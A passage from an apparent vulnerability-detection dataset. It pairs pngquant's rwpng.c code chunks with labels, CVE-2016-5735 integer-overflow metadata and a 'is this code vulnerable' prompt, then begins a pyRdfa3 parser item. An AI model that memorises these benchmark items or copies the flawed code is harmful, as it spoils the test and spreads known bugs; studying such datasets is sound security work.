png_get_valid(png_ptr, info_ptr, PNG_INFO_cHRM)) {", " cmsCIExyY WhitePoint;\n cmsCIExyYTRIPLE Primaries;", " png_get_cHRM(png_ptr, info_ptr, &WhitePoint.x, &WhitePoint.y,\n &Primaries.Red.x, &Primaries.Red.y,\n &Primaries.Green.x, &Primaries.Green.y,\n &Primaries.Blue.x, &Primaries.Blue.y);", " WhitePoint.Y = Primaries.Red.Y = Primaries.Green.Y = Primaries.Blue.Y = 1.0;", " cmsToneCurve *GammaTable[3];\n GammaTable[0] = GammaTable[1] = GammaTable[2] = cmsBuildGamma(NULL, 1/gamma);", " hInProfile = cmsCreateRGBProfile(&WhitePoint, &Primaries, GammaTable);", " cmsFreeToneCurve(GammaTable[0]);", " mainprog_ptr->input_color = RWPNG_GAMA_CHRM;\n mainprog_ptr->output_color = RWPNG_SRGB;\n }", " /* transform image to sRGB colorspace */\n if (hInProfile != NULL) {", " cmsHPROFILE hOutProfile = cmsCreate_sRGBProfile();\n cmsHTRANSFORM hTransform = cmsCreateTransform(hInProfile, TYPE_RGBA_8,\n hOutProfile, TYPE_RGBA_8,\n INTENT_PERCEPTUAL,\n omp_get_max_threads() > 1 ? cmsFLAGS_NOCACHE : 0);", " #pragma omp parallel for \\\n if (mainprog_ptr->height*mainprog_ptr->width > 8000) \\\n schedule(static)\n for (unsigned int i = 0; i < mainprog_ptr->height; i++) {\n /* It is safe to use the same block for input and output,\n when both are of the same TYPE. */\n cmsDoTransform(hTransform, row_pointers[i],\n row_pointers[i],\n mainprog_ptr->width);\n }", " cmsDeleteTransform(hTransform);\n cmsCloseProfile(hOutProfile);\n cmsCloseProfile(hInProfile);", " mainprog_ptr->gamma = 0.45455;\n }\n#endif", " png_destroy_read_struct(&png_ptr, &info_ptr, NULL);", " mainprog_ptr->file_size = read_data.bytes_read;\n mainprog_ptr->row_pointers = (unsigned char **)row_pointers;", " return SUCCESS;\n}\n#endif", "static void rwpng_free_chunks(struct rwpng_chunk *chunk) {\n if (!chunk) return;\n rwpng_free_chunks(chunk->next);\n free(chunk->data);\n free(chunk);\n}", "void rwpng_free_image24(png24_image *image)\n{\n free(image->row_pointers);\n image->row_pointers = NULL;", " free(image->rgba_data);\n image->rgba_data = NULL;", " rwpng_free_chunks(image->chunks);\n image->chunks = NULL;\n}", "void rwpng_free_image8(png8_image *image)\n{\n free(image->indexed_data);\n image->indexed_data = NULL;", " free(image->row_pointers);\n image->row_pointers = NULL;", " rwpng_free_chunks(image->chunks);\n image->chunks = NULL;\n}", "pngquant_error rwpng_read_image24(FILE *infile, png24_image *input_image_p, int verbose)\n{\n#if USE_COCOA\n return rwpng_read_image24_cocoa(infile, input_image_p);\n#else\n return rwpng_read_image24_libpng(infile, input_image_p, verbose);\n#endif\n}", "\nstatic pngquant_error rwpng_write_image_init(rwpng_png_image *mainprog_ptr, png_structpp png_ptr_p, png_infopp info_ptr_p, int fast_compression)\n{\n /* could also replace libpng warning-handler (final NULL), but no need: */", " *png_ptr_p = png_create_write_struct(PNG_LIBPNG_VER_STRING, mainprog_ptr, rwpng_error_handler, NULL);", " if (!(*png_ptr_p)) {\n return LIBPNG_INIT_ERROR; /* out of memory */\n }", " *info_ptr_p = png_create_info_struct(*png_ptr_p);\n if (!(*info_ptr_p)) {\n png_destroy_write_struct(png_ptr_p, NULL);\n return LIBPNG_INIT_ERROR; /* out of memory */\n }", " /* setjmp() must be called in every function that calls a PNG-writing\n * libpng function, unless an alternate error handler was installed--\n * but compatible error handlers must either use longjmp() themselves\n * (as in this program) or exit immediately, so here we go: */", " if (setjmp(mainprog_ptr->jmpbuf)) {\n png_destroy_write_struct(png_ptr_p, info_ptr_p);\n return LIBPNG_INIT_ERROR; /* libpng error (via longjmp()) */\n }", " png_set_compression_level(*png_ptr_p, fast_compression ? Z_BEST_SPEED : Z_BEST_COMPRESSION);\n png_set_compression_mem_level(*png_ptr_p, fast_compression ? 9 : 5); // judging by optipng results, smaller mem makes libpng compress slightly better", " return SUCCESS;\n}", "\nstatic void rwpng_write_end(png_infopp info_ptr_p, png_structpp png_ptr_p, png_bytepp row_pointers)\n{\n png_write_info(*png_ptr_p, *info_ptr_p);", " png_set_packing(*png_ptr_p);", " png_write_image(*png_ptr_p, row_pointers);", " png_write_end(*png_ptr_p, NULL);", " png_destroy_write_struct(png_ptr_p, info_ptr_p);\n}", "static void rwpng_set_gamma(png_infop info_ptr, png_structp png_ptr, double gamma, rwpng_color_transform color)\n{\n if (color != RWPNG_GAMA_ONLY && color != RWPNG_NONE) {\n png_set_gAMA(png_ptr, info_ptr, gamma);\n }\n if (color == RWPNG_SRGB) {\n png_set_sRGB(png_ptr, info_ptr, 0); // 0 = Perceptual\n }\n}", "pngquant_error rwpng_write_image8(FILE *outfile, const png8_image *mainprog_ptr)\n{\n png_structp png_ptr;\n png_infop info_ptr;", " if (mainprog_ptr->num_palette > 256) return INVALID_ARGUMENT;", " pngquant_error retval = rwpng_write_image_init((rwpng_png_image*)mainprog_ptr, &png_ptr, &info_ptr, mainprog_ptr->fast_compression);\n if (retval) return retval;", " struct rwpng_write_state write_state;\n write_state = (struct rwpng_write_state){\n .outfile = outfile,\n .maximum_file_size = mainprog_ptr->maximum_file_size,\n .retval = SUCCESS,\n };\n png_set_write_fn(png_ptr, &write_state, user_write_data, user_flush_data);", " // Palette images generally don't gain anything from filtering\n png_set_filter(png_ptr, PNG_FILTER_TYPE_BASE, PNG_FILTER_VALUE_NONE);", " rwpng_set_gamma(info_ptr, png_ptr, mainprog_ptr->gamma, mainprog_ptr->output_color);", " /* set the image parameters appropriately */\n int sample_depth;\n#if PNG_LIBPNG_VER > 10400 /* old libpng corrupts files with low depth */\n if (mainprog_ptr->num_palette <= 2)\n sample_depth = 1;\n else if (mainprog_ptr->num_palette <= 4)\n sample_depth = 2;\n else if (mainprog_ptr->num_palette <= 16)\n sample_depth = 4;\n else\n#endif\n sample_depth = 8;", " struct rwpng_chunk *chunk = mainprog_ptr->chunks;\n int chunk_num=0;\n while(chunk) {\n png_unknown_chunk pngchunk = {\n .size = chunk->size,\n .data = chunk->data,\n .location = chunk->location,\n };\n memcpy(pngchunk.name, chunk->name, 5);\n png_set_unknown_chunks(png_ptr, info_ptr, &pngchunk, 1);", " #if defined(PNG_HAVE_IHDR) && PNG_LIBPNG_VER < 10600\n png_set_unknown_chunk_location(png_ptr, info_ptr, chunk_num, pngchunk.location ? pngchunk.location : PNG_HAVE_IHDR);\n #endif", " chunk = chunk->next;\n chunk_num++;\n }", " png_set_IHDR(png_ptr, info_ptr, mainprog_ptr->width, mainprog_ptr->height,\n sample_depth, PNG_COLOR_TYPE_PALETTE,\n 0, PNG_COMPRESSION_TYPE_DEFAULT,\n PNG_FILTER_TYPE_BASE);", " png_color palette[256];\n png_byte trans[256];\n unsigned int num_trans = 0;\n for(unsigned int i = 0; i < mainprog_ptr->num_palette; i++) {\n palette[i] = (png_color){\n .red = mainprog_ptr->palette[i].r,\n .green = mainprog_ptr->palette[i].g,\n .blue = mainprog_ptr->palette[i].b,\n };\n trans[i] = mainprog_ptr->palette[i].a;\n if (mainprog_ptr->palette[i].a < 255) {\n num_trans = i+1;\n }\n }", " png_set_PLTE(png_ptr, info_ptr, palette, mainprog_ptr->num_palette);", " if (num_trans > 0) {\n png_set_tRNS(png_ptr, info_ptr, trans, num_trans, NULL);\n }", " rwpng_write_end(&info_ptr, &png_ptr, mainprog_ptr->row_pointers);", " if (SUCCESS == write_state.retval && write_state.maximum_file_size && write_state.bytes_written > write_state.maximum_file_size) {\n return TOO_LARGE_FILE;\n }", " return write_state.retval;\n}", "pngquant_error rwpng_write_image24(FILE *outfile, const png24_image *mainprog_ptr)\n{\n png_structp png_ptr;\n png_infop info_ptr;", " pngquant_error retval = rwpng_write_image_init((rwpng_png_image*)mainprog_ptr, &png_ptr, &info_ptr, 0);\n if (retval) return retval;", " png_init_io(png_ptr, outfile);", " rwpng_set_gamma(info_ptr, png_ptr, mainprog_ptr->gamma, mainprog_ptr->output_color);", " png_set_IHDR(png_ptr, info_ptr, mainprog_ptr->width, mainprog_ptr->height,\n 8, PNG_COLOR_TYPE_RGB_ALPHA,\n 0, PNG_COMPRESSION_TYPE_DEFAULT,\n PNG_FILTER_TYPE_BASE);", "\n png_bytepp row_pointers = rwpng_create_row_pointers(info_ptr, png_ptr, mainprog_ptr->rgba_data, mainprog_ptr->height, 0);", " rwpng_write_end(&info_ptr, &png_ptr, row_pointers);", " free(row_pointers);", " return SUCCESS;\n}", "static void rwpng_error_handler(png_structp png_ptr, png_const_charp msg)\n{\n rwpng_png_image *mainprog_ptr;", " /* This function, aside from the extra step of retrieving the \"error\n * pointer\" (below) and the fact that it exists within the application\n * rather than within libpng, is essentially identical to libpng's\n * default error handler. The second point is critical: since both\n * setjmp() and longjmp() are called from the same code, they are\n * guaranteed to have compatible notions of how big a jmp_buf is,\n * regardless of whether _BSD_SOURCE or anything else has (or has not)\n * been defined. */", " fprintf(stderr, \" error: %s (libpng failed)\\n\", msg);\n fflush(stderr);", " mainprog_ptr = png_get_error_ptr(png_ptr);\n if (mainprog_ptr == NULL) abort();", " longjmp(mainprog_ptr->jmpbuf, 1);\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [306], "buggy_code_start_loc": [246], "filenames": ["rwpng.c"], "fixing_code_end_loc": [307], "fixing_code_start_loc": [245], "message": "Integer overflow in the rwpng_read_image24_libpng function in rwpng.c in pngquant 2.7.0 allows remote attackers to have unspecified impact via a crafted PNG file, which triggers a buffer overflow.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:pngquant:pngquant:2.7.0:*:*:*:*:*:*:*", "matchCriteriaId": "82CC7C03-9215-44B0-8A63-87867C026393", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Integer overflow in the rwpng_read_image24_libpng function in rwpng.c in pngquant 2.7.0 allows remote attackers to have unspecified impact via a crafted PNG file, which triggers a buffer overflow."}, {"lang": "es", "value": "Un desbordamiento de enteros en la funci\u00f3n rwpng_read_image24_libpng en pngquant 2.7.0 permite a los atacantes remotos provocar un impacto no especificado mediante un archivo PNG manipulado, lo cual provoca un desbordamiento de b\u00fafer."}], "evaluatorComment": null, "id": "CVE-2016-5735", "lastModified": "2020-06-28T15:15:10.620", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2017-05-23T04:29:01.477", "references": [{"source": "cve@mitre.org", "tags": ["Exploit", "Technical Description", "Third Party Advisory"], "url": "http://sf.snu.ac.kr/gil.hur/publications/shovel.pdf"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/pornel/pngquant/commit/b7c217680cda02dddced245d237ebe8c383be285"}, {"source": "cve@mitre.org", "tags": null, "url": "https://lists.debian.org/debian-lts-announce/2020/06/msg00028.html"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-190"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/pornel/pngquant/commit/b7c217680cda02dddced245d237ebe8c383be285"}, "type": "CWE-190"}
139
Determine whether the {function_name} code is vulnerable or not.
[ "# -*- coding: utf-8 -*-\n\"\"\"\nRDFa 1.1 parser, also referred to as a “RDFa Distiller”. It is\ndeployed, via a CGI front-end, on the U{W3C RDFa 1.1 Distiller page<http://www.w3.org/2012/pyRdfa/>}.", "For details on RDFa, the reader should consult the U{RDFa Core 1.1<http://www.w3.org/TR/rdfa-core/>}, U{XHTML+RDFa1.1<http://www.w3.org/TR/2010/xhtml-rdfa>}, and the U{RDFa 1.1 Lite<http://www.w3.org/TR/rdfa-lite/>} documents.\nThe U{RDFa 1.1 Primer<http://www.w3.org/TR/owl2-primer/>} may also prove helpful.", "This package can also be downloaded U{from GitHub<https://github.com/RDFLib/pyrdfa3>}. The\ndistribution also includes the CGI front-end and a separate utility script to be run locally.", "Note that this package is an updated version of a U{previous RDFa distiller<http://www.w3.org/2007/08/pyRdfa>} that was developed\nfor RDFa 1.0. Although it reuses large portions of that code, it has been quite thoroughly rewritten, hence put in a completely\ndifferent project. (The version numbering has been continued, though, to avoid any kind of misunderstandings. This version has version numbers \"3.0.0\" or higher.)", "(Simple) Usage\n==============\nFrom a Python file, expecting a Turtle output::\n from pyRdfa import pyRdfa\n print pyRdfa().rdf_from_source('filename')\nOther output formats are also possible. E.g., to produce RDF/XML output, one could use::\n from pyRdfa import pyRdfa\n print pyRdfa().rdf_from_source('filename', outputFormat='pretty-xml')\nIt is also possible to embed an RDFa processing. Eg, using::\n from pyRdfa import pyRdfa\n graph = pyRdfa().graph_from_source('filename')\nreturns an RDFLib.Graph object instead of a serialization thereof. See the the description of the\nL{pyRdfa class<pyRdfa.pyRdfa>} for further possible entry points details.", "There is also, as part of this module, a L{separate entry for CGI calls<processURI>}.", "Return (serialization) formats\n------------------------------", "The package relies on RDFLib. By default, it relies therefore on the serializers coming with the local RDFLib distribution. However, there has been some issues with serializers of older RDFLib releases; also, some output formats, like JSON-LD, are not (yet) part of the standard RDFLib distribution. A companion package, called pyRdfaExtras, is part of the download, and it includes some of those extra serializers. The extra format (not part of the RDFLib core) is U{JSON-LD<http://json-ld.org/spec/latest/json-ld-syntax/>}, whose 'key' is 'json', when used in the 'parse' method of an RDFLib graph.", "(Note in 2018: the bugs that needed pyRdfaExtras are gone with the RDFLib versions, and the json-ld serializer and parser can be U{downloaded from github<https://github.com/RDFLib/rdflib-jsonld>} (or installed via pip). This means that importing pyRdfaExtras is done only when running older (i.e., 2.X.X) RDFLib versions and can be safely ignored these days.) ", "Options\n=======", "The package also implements some optional features that are not part of the RDFa recommendations. At the moment these are:", " - possibility for plain literals to be normalized in terms of white spaces. Default: false. (The RDFa specification requires keeping the white spaces and leave applications to normalize them, if needed)\n - inclusion of embedded RDF: Turtle content may be enclosed in a C{script} element and typed as C{text/turtle}, U{defined by the RDF Working Group<http://www.w3.org/TR/turtle/>}. Alternatively, some XML dialects (e.g., SVG) allows the usage of RDF/XML as part of their core content to define metadata in RDF. For both of these cases pyRdfa parses these serialized RDF content and adds the resulting triples to the output Graph. Default: true.\n - extra, built-in transformers are executed on the DOM tree prior to RDFa processing (see below). These transformers can be provided by the end user.", "Options are collected in an instance of the L{Options} class and may be passed to the processing functions as an extra argument. E.g., to allow the inclusion of embedded content::\n from pyRdfa.options import Options\n options = Options(embedded_rdf=True)\n print pyRdfa(options=options).rdf_from_source('filename')", "See the description of the L{Options} class for the details.", "\nHost Languages\n==============", "RDFa 1.1. Core is defined for generic XML; there are specific documents to describe how the generic specification is applied to\nXHTML and HTML5.", "pyRdfa makes an automatic switch among these based on the content type of the source as returned by an HTTP request. The following are the\npossible host languages:\n - if the content type is C{text/html}, the content is HTML5\n - if the content type is C{application/xhtml+xml} I{and} the right DTD is used, the content is XHTML1\n - if the content type is C{application/xhtml+xml} and no or an unknown DTD is used, the content is XHTML5\n - if the content type is C{application/svg+xml}, the content type is SVG\n - if the content type is C{application/atom+xml}, the content type is SVG\n - if the content type is C{application/xml} or C{application/xxx+xml} (but 'xxx' is not 'atom' or 'svg'), the content type is XML", "If local files are used, pyRdfa makes a guess on the content type based on the file name suffix: C{.html} is for HTML5, C{.xhtml} for XHTML1, C{.svg} for SVG, anything else is considered to be general XML. Finally, the content type may be set by the caller when initializing the L{pyRdfa class<pyRdfa.pyRdfa>}.", "Beyond the differences described in the RDFa specification, the main difference is the parser used to parse the source. In the case of HTML5, pyRdfa uses an U{HTML5 parser<http://code.google.com/p/html5lib/>}; for all other cases the simple XML parser, part of the core Python environment, is used. This may be significant in the case of erroneous sources: indeed, the HTML5 parser may do adjustments on\nthe DOM tree before handing it over to the distiller. Furthermore, SVG is also recognized as a type that allows embedded RDF in the form of RDF/XML.", "See the variables in the L{host} module if a new host language is added to the system. The current host language information is available for transformers via the option argument, too, and can be used to control the effect of the transformer.", "Vocabularies\n============", "RDFa 1.1 has the notion of vocabulary files (using the C{@vocab} attribute) that may be used to expand the generated RDF graph. Expansion is based on some very simply RDF Schema and OWL statements on sub-properties and sub-classes, and equivalences.", "pyRdfa implements this feature, although it does not do this by default. The extra C{vocab_expansion} parameter should be used for this extra step, for example::\n from pyRdfa.options import Options\n options = Options(vocab_expansion=True)\n print pyRdfa(options=options).rdf_from_source('filename')", "The triples in the vocabulary files themselves (i.e., the small ontology in RDF Schema and OWL) are removed from the result, leaving the inferred property and type relationships only (additionally to the “core” RDF content).", "Vocabulary caching\n------------------", "By default, pyRdfa uses a caching mechanism instead of fetching the vocabulary files each time their URI is met as a C{@vocab} attribute value. (This behavior can be switched off setting the C{vocab_cache} option to false.)", "Caching happens in a file system directory. The directory itself is determined by the platform the tool is used on, namely:\n - On Windows, it is the C{pyRdfa-cache} subdirectory of the C{%APPDATA%} environment variable\n - On MacOS, it is the C{~/Library/Application Support/pyRdfa-cache}\n - Otherwise, it is the C{~/.pyRdfa-cache}", "This automatic choice can be overridden by the C{PyRdfaCacheDir} environment variable.", "Caching can be set to be read-only, i.e., the setup might generate the cache files off-line instead of letting the tool writing its own cache when operating, e.g., as a service on the Web. This can be achieved by making the cache directory read only.", "If the directories are neither readable nor writable, the vocabulary files are retrieved via HTTP every time they are hit. This may slow down processing, it is advised to avoid such a setup for the package.", "The cache includes a separate index file and a file for each vocabulary file. Cache control is based upon the C{EXPIRES} header of a vocabulary file’s HTTP return header: when first seen, this data is stored in the index file and controls whether the cache has to be renewed or not. If the HTTP return header does not have this entry, the date is artificially set ot the current date plus one day.", "(The cache files themselves are dumped and loaded using U{Python’s built in cPickle package<http://docs.python.org/release/2.7/library/pickle.html#module-cPickle>}. These are binary files. Care should be taken if they are managed by CVS: they must be declared as binary files when adding them to the repository.)", "RDFa 1.1 vs. RDFa 1.0\n=====================", "Unfortunately, RDFa 1.1 is I{not} fully backward compatible with RDFa 1.0, meaning that, in a few cases, the triples generated from an RDFa 1.1 source are not the same as for RDFa 1.0. (See the separate U{section in the RDFa 1.1 specification<http://www.w3.org/TR/rdfa-core/#major-differences-with-rdfa-syntax-1.0>} for some further details.)", "This distiller’s default behavior is RDFa 1.1. However, if the source includes, in the top element of the file (e.g., the C{html} element) a C{@version} attribute whose value contains the C{RDFa 1.0} string, then the distiller switches to a RDFa 1.0 mode. (Although the C{@version} attribute is not required in RDFa 1.0, it is fairly commonly used.) Similarly, if the RDFa 1.0 DTD is used in the XHTML source, it will be taken into account (a very frequent setup is that an XHTML file is defined with that DTD and is served as text/html; pyRdfa will consider that file as XHTML5, i.e., parse it with the HTML5 parser, but interpret the RDFa attributes under the RDFa 1.0 rules).", "Transformers\n============", "The package uses the concept of 'transformers': the parsed DOM tree is possibly\ntransformed I{before} performing the real RDFa processing. This transformer structure makes it possible to\nadd additional 'services' without distoring the core code of RDFa processing.", "A transformer is a function with three arguments:", " - C{node}: a DOM node for the top level element of the DOM tree\n - C{options}: the current L{Options} instance\n - C{state}: the current L{ExecutionContext} instance, corresponding to the top level DOM Tree element", "The function may perform any type of change on the DOM tree; the typical behavior is to add or remove attributes on specific elements. Some transformations are included in the package and can be used as examples; see the L{transform} module of the distribution. These are:", " - The C{@name} attribute of the C{meta} element is copied into a C{@property} attribute of the same element\n - Interpreting the 'openid' references in the header. See L{transform.OpenID} for further details.\n - Implementing the Dublin Core dialect to include DC statements from the header. See L{transform.DublinCore} for further details.", "The user of the package may refer add these transformers to L{Options} instance. Here is a possible usage with the “openid” transformer added to the call::\n from pyRdfa.options import Options\n from pyRdfa.transform.OpenID import OpenID_transform\n options = Options(transformers=[OpenID_transform])\n print pyRdfa(options=options).rdf_from_source('filename')", "\n@summary: RDFa parser (distiller)\n@requires: Python version 2.7 or python 3.8 or up\n@requires: U{RDFLib<http://rdflib.net>}; version 3.X is preferred.\n@requires: U{html5lib<http://code.google.com/p/html5lib/>} for the HTML5 parsing (note that version 1.0b1 and 1.0b2 should be avoided, it may lead to unicode encoding problems)\n@requires: U{httpheader<http://deron.meranda.us/python/httpheader/>}; however, a small modification had to make on the original file, so for this reason and to make distribution easier this module (single file) is added to the package.\n@organization: U{World Wide Web Consortium<http://www.w3.org>}\n@author: U{Ivan Herman<a href=\"http://www.w3.org/People/Ivan/\">}\n@license: This software is available for use under the\nU{W3C® SOFTWARE NOTICE AND LICENSE<href=\"http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231\">}", "@var builtInTransformers: List of built-in transformers that are to be run regardless, because they are part of the RDFa spec\n@var CACHE_DIR_VAR: Environment variable used to define cache directories for RDFa vocabularies in case the default setting does not work or is not appropriate.\n@var rdfa_current_version: Current \"official\" version of RDFa that this package implements by default. This can be changed at the invocation of the package\n@var uri_schemes: List of registered (or widely used) URI schemes; used for warnings...\n\"\"\"", "__version__ = \"4.0.0\"\n__author__ = 'Ivan Herman'\n__contact__ = 'Ivan Herman, ivan@w3.org'\n__license__ = 'W3C® SOFTWARE NOTICE AND LICENSE, http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231'", "name = \"pyRdfa3\"", "import sys\nPY3 = (sys.version_info[0] >= 3)", "if PY3 :\n\tfrom io import StringIO\nelse :\n\tfrom StringIO import StringIO", "import os\nimport xml.dom.minidom\nif PY3 :\n\tfrom urllib.parse import urlparse\nelse :\n\tfrom urlparse import urlparse", "import rdflib\nfrom rdflib\timport URIRef\nfrom rdflib\timport Literal\nfrom rdflib\timport BNode\nfrom rdflib\timport Namespace\nif rdflib.__version__ >= \"3.0.0\" :\n\tfrom rdflib\timport RDF as ns_rdf\n\tfrom rdflib\timport RDFS as ns_rdfs\n\tfrom rdflib\timport Graph\nelse :\n\tfrom rdflib.RDFS import RDFSNS as ns_rdfs\n\tfrom rdflib.RDF\t import RDFNS as ns_rdf\n\tfrom rdflib.Graph import Graph", "# Namespace, in the RDFLib sense, for the rdfa vocabulary\nns_rdfa\t\t= Namespace(\"http://www.w3.org/ns/rdfa#\")", "from .extras.httpheader import acceptable_content_type, content_type\nfrom .transform.prototype import handle_prototypes", "# Vocabulary terms for vocab reporting\nRDFA_VOCAB = ns_rdfa[\"usesVocabulary\"]", "# Namespace, in the RDFLib sense, for the XSD Datatypes\nns_xsd\t\t= Namespace('http://www.w3.org/2001/XMLSchema#')", "# Namespace, in the RDFLib sense, for the distiller vocabulary, used as part of the processor graph\nns_distill\t= Namespace(\"http://www.w3.org/2007/08/pyRdfa/vocab#\")", "debug = False", "#########################################################################################################", "# Exception/error handling. Essentially, all the different exceptions are re-packaged into\n# separate exception class, to allow for an easier management on the user level", "class RDFaError(Exception) :\n\t\"\"\"Superclass exceptions representing error conditions defined by the RDFa 1.1 specification.\n\tIt does not add any new functionality to the\n\tException class.\"\"\"\n\tdef __init__(self, msg) :\n\t\tself.msg = msg\n\t\tException.__init__(self)", "class FailedSource(RDFaError) :\n\t\"\"\"Raised when the original source cannot be accessed. It does not add any new functionality to the\n\tException class.\"\"\"\n\tdef __init__(self, msg, http_code = None) :\n\t\tself.msg\t\t= msg\n\t\tself.http_code \t= http_code\n\t\tRDFaError.__init__(self, msg)", "class HTTPError(RDFaError) :\n\t\"\"\"Raised when HTTP problems are detected. It does not add any new functionality to the\n\tException class.\"\"\"\n\tdef __init__(self, http_msg, http_code) :\n\t\tself.msg\t\t= http_msg\n\t\tself.http_code\t= http_code\n\t\tRDFaError.__init__(self,http_msg)", "class ProcessingError(RDFaError) :\n\t\"\"\"Error found during processing. It does not add any new functionality to the\n\tException class.\"\"\"\n\tpass", "class pyRdfaError(Exception) :\n\t\"\"\"Superclass exceptions representing error conditions outside the RDFa 1.1 specification.\"\"\"\n\tpass", "# Error and Warning RDFS classes\nRDFA_Error = ns_rdfa[\"Error\"]\nRDFA_Warning = ns_rdfa[\"Warning\"]\nRDFA_Info = ns_rdfa[\"Information\"]\nNonConformantMarkup = ns_rdfa[\"DocumentError\"]\nUnresolvablePrefix = ns_rdfa[\"UnresolvedCURIE\"]\nUnresolvableReference = ns_rdfa[\"UnresolvedCURIE\"]\nUnresolvableTerm = ns_rdfa[\"UnresolvedTerm\"]\nVocabReferenceError = ns_rdfa[\"VocabReferenceError\"]\nPrefixRedefinitionWarning = ns_rdfa[\"PrefixRedefinition\"]", "FileReferenceError = ns_distill[\"FileReferenceError\"]\nHTError = ns_distill[\"HTTPError\"]\nIncorrectPrefixDefinition = ns_distill[\"IncorrectPrefixDefinition\"]\nIncorrectBlankNodeUsage = ns_distill[\"IncorrectBlankNodeUsage\"]\nIncorrectLiteral = ns_distill[\"IncorrectLiteral\"]", "# Error message texts\nerr_no_blank_node = \"Blank node in %s position is not allowed; ignored\"", "err_redefining_URI_as_prefix = \"'%s' a registered or an otherwise used URI scheme, but is defined as a prefix here; is this a mistake? (see, eg, http://en.wikipedia.org/wiki/URI_scheme or http://www.iana.org/assignments/uri-schemes.html for further information for most of the URI schemes)\"\nerr_xmlns_deprecated = \"The usage of 'xmlns' for prefix definition is deprecated; please use the 'prefix' attribute instead (definition for '%s')\"\nerr_bnode_local_prefix = \"The '_' local CURIE prefix is reserved for blank nodes, and cannot be defined as a prefix\"\nerr_col_local_prefix = \"The character ':' is not valid in a CURIE Prefix, and cannot be used in a prefix definition (definition for '%s')\"\nerr_missing_URI_prefix = \"Missing URI in prefix declaration for '%s' (in '%s')\"\nerr_invalid_prefix = \"Invalid prefix declaration '%s' (in '%s')\"\nerr_no_default_prefix = \"Default prefix cannot be changed (in '%s')\"\nerr_prefix_and_xmlns = \"@prefix setting for '%s' overrides the 'xmlns:%s' setting; may be a source of problem if same file is run through RDFa 1.0\"\nerr_non_ncname_prefix = \"Non NCNAME '%s' in prefix definition (in '%s'); ignored\"\nerr_absolute_reference = \"CURIE Reference part contains an authority part: %s (in '%s'); ignored\"\nerr_query_reference = \"CURIE Reference query part contains an unauthorized character: %s (in '%s'); ignored\"\nerr_fragment_reference = \"CURIE Reference fragment part contains an unauthorized character: %s (in '%s'); ignored\"\nerr_lang = \"There is a problem with language setting; either both xml:lang and lang used on an element with different values, or, for (X)HTML5, only xml:lang is used.\"\nerr_URI_scheme = \"Unusual URI scheme used in <%s>; may that be a mistake, e.g., resulting from using an undefined CURIE prefix or an incorrect CURIE?\"\nerr_illegal_safe_CURIE = \"Illegal safe CURIE: %s; ignored\"\nerr_no_CURIE_in_safe_CURIE = \"Safe CURIE is used, but the value does not correspond to a defined CURIE: [%s]; ignored\"\nerr_undefined_terms = \"'%s' is used as a term, but has not been defined as such; ignored\"\nerr_non_legal_CURIE_ref = \"Relative URI is not allowed in this position (or not a legal CURIE reference) '%s'; ignored\"\nerr_undefined_CURIE = \"Undefined CURIE: '%s'; ignored\"\nerr_prefix_redefinition = \"Prefix '%s' (defined in the initial RDFa context or in an ancestor) is redefined\"", "err_unusual_char_in_URI = \"Unusual character in uri: %s; possible error?\"", "#############################################################################################", "from .state import ExecutionContext\nfrom .parse import parse_one_node\nfrom .options import Options\nfrom .transform import top_about, empty_safe_curie, vocab_for_role\nfrom .utils import URIOpener\nfrom .host import HostLanguage, MediaTypes, preferred_suffixes, content_to_host_language", "# Environment variable used to characterize cache directories for RDFa vocabulary files.\nCACHE_DIR_VAR = \"PyRdfaCacheDir\"", "# current \"official\" version of RDFa that this package implements. This can be changed at the invocation of the package\nrdfa_current_version = \"1.1\"", "# I removed schemes that would not appear as a prefix anyway, like iris.beep\n# http://en.wikipedia.org/wiki/URI_scheme seems to be a good source of information\n# as well as http://www.iana.org/assignments/uri-schemes.html\n# There are some overlaps here, but better more than not enough...", "# This comes from 